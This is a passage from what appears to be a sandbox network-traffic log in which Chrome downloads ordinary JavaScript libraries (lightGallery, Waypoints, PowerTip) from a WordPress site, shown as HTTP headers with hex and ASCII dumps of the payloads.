2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 61 74 61 2d 69 66 72 61 6d 65 22 29 26 26 28 6e 3d 21 30 29 3b 76 61 72 20 6f 3d 6b 2e 69 73 56 69 64 65 6f 28 66 2c 62 29 3b 69 66 28 21 6b 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 68 61 73 43 6c 61 73 73 28 22 6c 67 2d 6c 6f 61 64 65 64 22 29 29 7b 69 66 28 6e 29 6b 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 70 72 65 70 65 6e 64 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 67 2d 76 69 64 65 6f 2d 63 6f 6e 74 20 6c 67 2d 68 61 73 2d 69 66 72 61 6d 65 22 20 73 74 79 6c 65 3d 22 6d 61 78 2d 77 69 64 74 68 3a 27 2b 6b 2e 73 2e 69 66 72 61 6d 65 4d 61 78 57 69 64 74 68 2b 27 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 67 2d 76 69 64 65 6f 22 3e 3c 69 66 72 61 6d 65 20 63 6c 61 73 73 3d 22 6c 67 2d 6f 62 6a 65 63 74 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d Data Ascii: ata-iframe")&&(n=!0);var o=k.isVideo(f,b);if(!k.$slide.eq(b).hasClass("lg-loaded")){if(n)k.$slide.eq(b).prepend('<div class="lg-video-cont lg-has-iframe" style="max-width:'+k.s.iframeMaxWidth+'"><div class="lg-video"><iframe class="lg-object" frameborder=
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6b 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 22 6c 67 2d 63 6f 6d 70 6c 65 74 65 22 29 2c 6b 2e 24 65 6c 2e 74 72 69 67 67 65 72 28 22 6f 6e 53 6c 69 64 65 49 74 65 6d 4c 6f 61 64 2e 6c 67 22 2c 5b 62 2c 64 7c 7c 30 5d 29 7d 2c 63 29 7d 29 2c 6f 26 26 6f 2e 68 74 6d 6c 35 26 26 21 6c 26 26 6b 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 22 6c 67 2d 63 6f 6d 70 6c 65 74 65 22 29 2c 21 30 3d 3d 3d 63 26 26 28 6b 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 68 61 73 43 6c 61 73 73 28 22 6c 67 2d 63 6f 6d 70 6c 65 74 65 22 29 3f 6b 2e 70 72 65 6c 6f 61 64 28 62 29 3a 6b 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 66 69 6e 64 28 22 2e 6c 67 2d Data Ascii: ),setTimeout(function(){k.$slide.eq(b).addClass("lg-complete"),k.$el.trigger("onSlideItemLoad.lg",[b,d\|\|0])},c)}),o&&o.html5&&!l&&k.$slide.eq(b).addClass("lg-complete"),!0===c&&(k.$slide.eq(b).hasClass("lg-complete")?k.preload(b):k.$slide.eq(b).find(".lg-
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 76 2d 73 6c 69 64 65 22 29 2c 67 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 22 6c 67 2d 63 75 72 72 65 6e 74 22 29 7d 65 6c 73 65 20 67 2e 24 6f 75 74 65 72 2e 61 64 64 43 6c 61 73 73 28 22 6c 67 2d 6e 6f 2d 74 72 61 6e 73 22 29 2c 74 68 69 73 2e 24 73 6c 69 64 65 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 6c 67 2d 70 72 65 76 2d 73 6c 69 64 65 20 6c 67 2d 6e 65 78 74 2d 73 6c 69 64 65 22 29 2c 22 70 72 65 76 22 3d 3d 3d 65 3f 28 74 68 69 73 2e 24 73 6c 69 64 65 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 22 6c 67 2d 70 72 65 76 2d 73 6c 69 64 65 22 29 2c 74 68 69 73 2e 24 73 6c 69 64 65 2e 65 71 28 66 29 2e 61 64 64 43 6c 61 73 73 28 22 6c 67 2d 6e 65 78 74 2d 73 6c 69 64 65 22 29 29 3a 28 74 68 69 73 2e 24 73 6c 69 64 65 2e Data Ascii: v-slide"),g.$slide.eq(b).addClass("lg-current")}else g.$outer.addClass("lg-no-trans"),this.$slide.removeClass("lg-prev-slide lg-next-slide"),"prev"===e?(this.$slide.eq(b).addClass("lg-prev-slide"),this.$slide.eq(f).addClass("lg-next-slide")):(this.$slide.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.17	49823	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:42 UTC	896	OUT	GET /wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
2024-04-11 21:26:43 UTC	944	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e76baa2422e-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b837e7-2fa6" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 19 Jul 2023 19:22:15 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4yP2jdExFN%2Fl%2FFmGL5WxxCqxlNfPRauMRydal%2FmGdKIeFucsyVdkfcj1RzmI6L30F0pQDGB%2F8iGEukNjN7tUOPTaJaFYJSllJG%2FFqFkqtX88smpI6t8Ksz3MzwOA5RGnAeA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	425	IN	Data Raw: 32 66 61 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 57 61 79 70 6f 69 6e 74 28 6f 70 74 69 6f 6e 73 29 7b 69 66 28 21 6f 70 74 69 6f 6e 73 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 6f 70 74 69 6f 6e 73 20 70 61 73 73 65 64 20 74 6f 20 57 61 79 70 6f 69 6e 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 69 66 28 21 6f 70 74 69 6f 6e 73 2e 65 6c 65 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 65 6c 65 6d 65 6e 74 20 6f 70 74 69 6f 6e 20 70 61 73 73 65 64 20 74 6f 20 57 61 79 70 6f 69 6e 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 69 66 28 21 6f 70 74 69 6f 6e 73 2e 68 61 6e 64 6c 65 72 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: 2fa6!function(){"use strict";function Waypoint(options){if(!options)throw new Error("No options passed to Waypoint constructor");if(!options.element)throw new Error("No element option passed to Waypoint constructor");if(!options.handler)throw new Error(
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 70 74 69 6f 6e 73 2e 65 6c 65 6d 65 6e 74 2c 74 68 69 73 2e 61 64 61 70 74 65 72 3d 6e 65 77 20 57 61 79 70 6f 69 6e 74 2e 41 64 61 70 74 65 72 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 61 6c 6c 62 61 63 6b 3d 6f 70 74 69 6f 6e 73 2e 68 61 6e 64 6c 65 72 2c 74 68 69 73 2e 61 78 69 73 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 6f 72 69 7a 6f 6e 74 61 6c 3f 22 68 6f 72 69 7a 6f 6e 74 61 6c 22 3a 22 76 65 72 74 69 63 61 6c 22 2c 74 68 69 73 2e 65 6e 61 62 6c 65 64 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 64 2c 74 68 69 73 2e 74 72 69 67 67 65 72 50 6f 69 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 67 72 6f 75 70 3d 57 61 79 70 6f 69 6e 74 2e 47 72 6f 75 70 2e 66 69 6e 64 4f 72 43 72 65 61 74 65 28 7b 6e 61 6d 65 3a 74 68 Data Ascii: ptions.element,this.adapter=new Waypoint.Adapter(this.element),this.callback=options.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=Waypoint.Group.findOrCreate({name:th
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 61 79 70 6f 69 6e 74 73 41 72 72 61 79 2e 6c 65 6e 67 74 68 3b 69 3c 65 6e 64 3b 69 2b 2b 29 61 6c 6c 57 61 79 70 6f 69 6e 74 73 41 72 72 61 79 5b 69 5d 5b 6d 65 74 68 6f 64 5d 28 29 7d 2c 57 61 79 70 6f 69 6e 74 2e 64 65 73 74 72 6f 79 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 57 61 79 70 6f 69 6e 74 2e 69 6e 76 6f 6b 65 41 6c 6c 28 22 64 65 73 74 72 6f 79 22 29 7d 2c 57 61 79 70 6f 69 6e 74 2e 64 69 73 61 62 6c 65 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 57 61 79 70 6f 69 6e 74 2e 69 6e 76 6f 6b 65 41 6c 6c 28 22 64 69 73 61 62 6c 65 22 29 7d 2c 57 61 79 70 6f 69 6e 74 2e 65 6e 61 62 6c 65 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 57 61 79 70 6f 69 6e 74 2e 43 6f 6e 74 65 78 74 2e 72 65 66 72 65 73 68 41 6c 6c 28 29 3b 66 6f 72 28 76 61 72 20 Data Ascii: aypointsArray.length;i<end;i++)allWaypointsArray[i][method]()},Waypoint.destroyAll=function(){Waypoint.invokeAll("destroy")},Waypoint.disableAll=function(){Waypoint.invokeAll("disable")},Waypoint.enableAll=function(){Waypoint.Context.refreshAll();for(var
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 65 79 2c 63 6f 6e 74 65 78 74 73 5b 65 6c 65 6d 65 6e 74 2e 77 61 79 70 6f 69 6e 74 43 6f 6e 74 65 78 74 4b 65 79 5d 3d 74 68 69 73 2c 6b 65 79 43 6f 75 6e 74 65 72 2b 3d 31 2c 57 61 79 70 6f 69 6e 74 2e 77 69 6e 64 6f 77 43 6f 6e 74 65 78 74 7c 7c 28 57 61 79 70 6f 69 6e 74 2e 77 69 6e 64 6f 77 43 6f 6e 74 65 78 74 3d 21 30 2c 57 61 79 70 6f 69 6e 74 2e 77 69 6e 64 6f 77 43 6f 6e 74 65 78 74 3d 6e 65 77 20 43 6f 6e 74 65 78 74 28 77 69 6e 64 6f 77 29 29 2c 74 68 69 73 2e 63 72 65 61 74 65 54 68 72 6f 74 74 6c 65 64 53 63 72 6f 6c 6c 48 61 6e 64 6c 65 72 28 29 2c 74 68 69 73 2e 63 72 65 61 74 65 54 68 72 6f 74 74 6c 65 64 52 65 73 69 7a 65 48 61 6e 64 6c 65 72 28 29 7d 76 61 72 20 6b 65 79 43 6f 75 6e 74 65 72 3d 30 2c 63 6f 6e 74 65 78 74 73 3d 7b 7d 2c Data Ascii: ey,contexts[element.waypointContextKey]=this,keyCounter+=1,Waypoint.windowContext\|\|(Waypoint.windowContext=!0,Waypoint.windowContext=new Context(window)),this.createThrottledScrollHandler(),this.createThrottledResizeHandler()}var keyCounter=0,contexts={},
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 6c 65 52 65 73 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 57 61 79 70 6f 69 6e 74 2e 43 6f 6e 74 65 78 74 2e 72 65 66 72 65 73 68 41 6c 6c 28 29 7d 2c 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c 65 53 63 72 6f 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 72 69 67 67 65 72 65 64 47 72 6f 75 70 73 3d 7b 7d 2c 61 78 65 73 3d 7b 68 6f 72 69 7a 6f 6e 74 61 6c 3a 7b 6e 65 77 53 63 72 6f 6c 6c 3a 74 68 69 73 2e 61 64 61 70 74 65 72 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 2c 6f 6c 64 53 63 72 6f 6c 6c 3a 74 68 69 73 2e 6f 6c 64 53 63 72 6f 6c 6c 2e 78 2c 66 6f 72 77 61 72 64 3a 22 72 69 67 68 74 22 2c 62 61 63 6b 77 61 72 64 3a 22 6c 65 66 74 22 7d 2c 76 65 72 74 69 63 61 6c 3a 7b 6e 65 77 53 63 72 6f 6c 6c 3a 74 68 69 73 2e Data Ascii: leResize=function(){Waypoint.Context.refreshAll()},Context.prototype.handleScroll=function(){var triggeredGroups={},axes={horizontal:{newScroll:this.adapter.scrollLeft(),oldScroll:this.oldScroll.x,forward:"right",backward:"left"},vertical:{newScroll:this.
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 6e 65 72 57 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 77 69 6e 64 6f 77 3f 57 61 79 70 6f 69 6e 74 2e 76 69 65 77 70 6f 72 74 57 69 64 74 68 28 29 3a 74 68 69 73 2e 61 64 61 70 74 65 72 2e 69 6e 6e 65 72 57 69 64 74 68 28 29 7d 2c 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 73 74 72 6f 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 6c 6c 57 61 79 70 6f 69 6e 74 73 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 61 78 69 73 20 69 6e 20 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 29 66 6f 72 28 76 61 72 20 77 61 79 70 6f 69 6e 74 4b 65 79 20 69 6e 20 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 5b 61 Data Ascii: xt.prototype.innerWidth=function(){return this.element==this.element.window?Waypoint.viewportWidth():this.adapter.innerWidth()},Context.prototype.destroy=function(){var allWaypoints=[];for(var axis in this.waypoints)for(var waypointKey in this.waypoints[a
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 2e 77 69 6e 64 6f 77 26 26 28 65 6c 65 6d 65 6e 74 4f 66 66 73 65 74 3d 77 61 79 70 6f 69 6e 74 2e 61 64 61 70 74 65 72 2e 6f 66 66 73 65 74 28 29 5b 61 78 69 73 2e 6f 66 66 73 65 74 50 72 6f 70 5d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 64 6a 75 73 74 6d 65 6e 74 3f 61 64 6a 75 73 74 6d 65 6e 74 3d 61 64 6a 75 73 74 6d 65 6e 74 2e 61 70 70 6c 79 28 77 61 79 70 6f 69 6e 74 29 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 61 64 6a 75 73 74 6d 65 6e 74 26 26 28 61 64 6a 75 73 74 6d 65 6e 74 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 64 6a 75 73 74 6d 65 6e 74 29 2c 77 61 79 70 6f 69 6e 74 2e 6f 70 74 69 6f 6e 73 2e 6f 66 66 73 65 74 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 26 26 28 61 64 6a 75 73 Data Ascii: .element.window&&(elementOffset=waypoint.adapter.offset()[axis.offsetProp]),"function"==typeof adjustment?adjustment=adjustment.apply(waypoint):"string"==typeof adjustment&&(adjustment=parseFloat(adjustment),waypoint.options.offset.indexOf("%")>-1&&(adjus
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 74 2e 66 69 6e 64 42 79 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 29 7b 72 65 74 75 72 6e 20 63 6f 6e 74 65 78 74 73 5b 65 6c 65 6d 65 6e 74 2e 77 61 79 70 6f 69 6e 74 43 6f 6e 74 65 78 74 4b 65 79 5d 7d 2c 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 6c 64 57 69 6e 64 6f 77 4c 6f 61 64 26 26 6f 6c 64 57 69 6e 64 6f 77 4c 6f 61 64 28 29 2c 43 6f 6e 74 65 78 74 2e 72 65 66 72 65 73 68 41 6c 6c 28 29 7d 2c 57 61 79 70 6f 69 6e 74 2e 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 63 61 6c 6c 62 61 63 6b 29 7b 76 61 72 20 72 65 71 75 65 73 74 46 6e 3d 77 69 6e 64 6f 77 2e 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 7c 7c 77 69 6e 64 Data Ascii: t.findByElement=function(element){return contexts[element.waypointContextKey]},window.onload=function(){oldWindowLoad&&oldWindowLoad(),Context.refreshAll()},Waypoint.requestAnimationFrame=function(callback){var requestFn=window.requestAnimationFrame\|\|wind
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 29 7d 7d 74 68 69 73 2e 63 6c 65 61 72 54 72 69 67 67 65 72 51 75 65 75 65 73 28 29 7d 2c 47 72 6f 75 70 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 77 61 79 70 6f 69 6e 74 29 7b 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 2e 73 6f 72 74 28 62 79 54 72 69 67 67 65 72 50 6f 69 6e 74 29 3b 76 61 72 20 69 6e 64 65 78 3d 57 61 79 70 6f 69 6e 74 2e 41 64 61 70 74 65 72 2e 69 6e 41 72 72 61 79 28 77 61 79 70 6f 69 6e 74 2c 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 29 2c 69 73 4c 61 73 74 3d 69 6e 64 65 78 3d 3d 3d 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 3b 72 65 74 75 72 6e 20 69 73 4c 61 73 74 3f 6e 75 6c 6c 3a 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 5b 69 6e 64 65 78 2b 31 5d 7d 2c 47 72 6f 75 70 2e Data Ascii: )}}this.clearTriggerQueues()},Group.prototype.next=function(waypoint){this.waypoints.sort(byTriggerPoint);var index=Waypoint.Adapter.inArray(waypoint,this.waypoints),isLast=index===this.waypoints.length-1;return isLast?null:this.waypoints[index+1]},Group.
2024-04-11 21:26:43 UTC	829	IN	Data Raw: 22 2c 22 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 6d 65 74 68 6f 64 29 7b 4a 51 75 65 72 79 41 64 61 70 74 65 72 5b 6d 65 74 68 6f 64 5d 3d 24 5b 6d 65 74 68 6f 64 5d 7d 29 2c 57 61 79 70 6f 69 6e 74 2e 61 64 61 70 74 65 72 73 2e 70 75 73 68 28 7b 6e 61 6d 65 3a 22 6a 71 75 65 72 79 22 2c 41 64 61 70 74 65 72 3a 4a 51 75 65 72 79 41 64 61 70 74 65 72 7d 29 2c 57 61 79 70 6f 69 6e 74 2e 41 64 61 70 74 65 72 3d 4a 51 75 65 72 79 41 64 61 70 74 65 72 7d 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 45 78 74 65 6e 73 69 6f 6e 28 66 72 61 6d 65 77 6f 72 6b 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 61 79 70 6f Data Ascii: ","isEmptyObject"],function(i,method){JQueryAdapter[method]=$[method]}),Waypoint.adapters.push({name:"jquery",Adapter:JQueryAdapter}),Waypoint.Adapter=JQueryAdapter}(),function(){"use strict";function createExtension(framework){return function(){var waypo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.17	49824	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	902	OUT	GET /wp-content/themes/edumall/assets/libs/powertip/js/jquery.powertip.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
2024-04-11 21:26:43 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e78fea2436c-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-2b96" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fQOTWPMSNU5hu4rEHc%2BvQhT3CMzhipg8Kl9rc%2Bw3eEiKjn5r%2F%2B%2FVxhIKReLy0YB6loZSQuSDzXnB19AavAzgFNoQh8h9w8Osrgh6mX%2FQlV4glxNsQyXGtcREhEpZsKzhFb0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	423	IN	Data Raw: 32 62 39 36 0d 0a 2f 2a 21 0a 20 50 6f 77 65 72 54 69 70 20 76 31 2e 33 2e 31 20 28 32 30 31 38 2d 30 34 2d 31 35 29 0a 20 68 74 74 70 73 3a 2f 2f 73 74 65 76 65 6e 62 65 6e 6e 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 6a 71 75 65 72 79 2d 70 6f 77 65 72 74 69 70 2f 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 38 20 53 74 65 76 65 6e 20 42 65 6e 6e 65 72 20 28 68 74 74 70 3a 2f 2f 73 74 65 76 65 6e 62 65 6e 6e 65 72 2e 63 6f 6d 2f 29 2e 0a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 73 74 65 76 65 6e 62 65 6e 6e 65 72 2f 6a 71 75 65 72 79 2d 70 6f 77 65 72 74 69 70 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 2e 74 78 74 0a 2a 2f 0a Data Ascii: 2b96/! PowerTip v1.3.1 (2018-04-15) https://stevenbenner.github.io/jquery-powertip/ Copyright (c) 2018 Steven Benner (http://stevenbenner.com/). Released under MIT license. https://raw.github.com/stevenbenner/jquery-powertip/master/LICENSE.txt/
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 76 3d 68 28 64 6f 63 75 6d 65 6e 74 29 2c 6e 3d 68 28 77 69 6e 64 6f 77 29 2c 65 3d 68 28 22 62 6f 64 79 22 29 2c 6d 3d 22 64 69 73 70 6c 61 79 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 54 3d 22 68 61 73 41 63 74 69 76 65 48 6f 76 65 72 22 2c 67 3d 22 66 6f 72 63 65 64 4f 70 65 6e 22 2c 69 3d 22 68 61 73 4d 6f 75 73 65 4d 6f 76 65 22 2c 79 3d 22 6d 6f 75 73 65 4f 6e 54 6f 50 6f 70 75 70 22 2c 61 3d 22 6f 72 69 67 69 6e 61 6c 54 69 74 6c 65 22 2c 62 3d 22 70 6f 77 65 72 74 69 70 22 2c 48 3d 22 70 6f 77 65 72 74 69 70 6a 71 22 2c 6b 3d 22 70 6f 77 65 72 74 69 70 74 61 72 67 65 74 22 2c 50 3d 22 2e 70 6f 77 65 72 74 69 70 22 2c 4f 3d 31 38 30 2f 4d 61 74 68 2e 50 49 2c 74 3d 5b 22 63 6c 69 63 6b 22 2c 22 64 62 6c 63 Data Ascii: function(h){var v=h(document),n=h(window),e=h("body"),m="displayController",T="hasActiveHover",g="forcedOpen",i="hasMouseMove",y="mouseOnToPopup",a="originalTitle",b="powertip",H="powertipjq",k="powertiptarget",P=".powertip",O=180/Math.PI,t=["click","dblc
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 49 2e 64 65 6c 61 79 49 6e 50 72 6f 67 72 65 73 73 26 26 49 2e 61 63 74 69 76 65 48 6f 76 65 72 26 26 21 49 2e 61 63 74 69 76 65 48 6f 76 65 72 2e 69 73 28 6f 29 26 26 49 2e 61 63 74 69 76 65 48 6f 76 65 72 2e 64 61 74 61 28 6d 29 2e 68 69 64 65 28 21 30 29 7d 74 68 69 73 2e 73 68 6f 77 3d 72 2c 74 68 69 73 2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 26 26 28 74 3d 49 2e 63 6c 6f 73 65 44 65 6c 61 79 54 69 6d 65 6f 75 74 3d 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 29 2c 49 2e 64 65 6c 61 79 49 6e 50 72 6f 67 72 65 73 73 3d 21 31 29 2c 61 28 29 2c 49 2e 74 69 70 4f 70 65 6e 49 6d 6d 69 6e 65 6e 74 3d 21 31 2c 6f 2e 64 61 74 61 28 54 29 26 26 28 6f 2e 64 61 74 61 28 67 2c 21 31 29 2c 65 3f 69 2e Data Ascii: !1}function c(){I.delayInProgress&&I.activeHover&&!I.activeHover.is(o)&&I.activeHover.data(m).hide(!0)}this.show=r,this.hide=function(e){t&&(t=I.closeDelayTimeout=clearTimeout(t),I.delayInProgress=!1),a(),I.tipOpenImminent=!1,o.data(T)&&(o.data(g,!1),e?i.
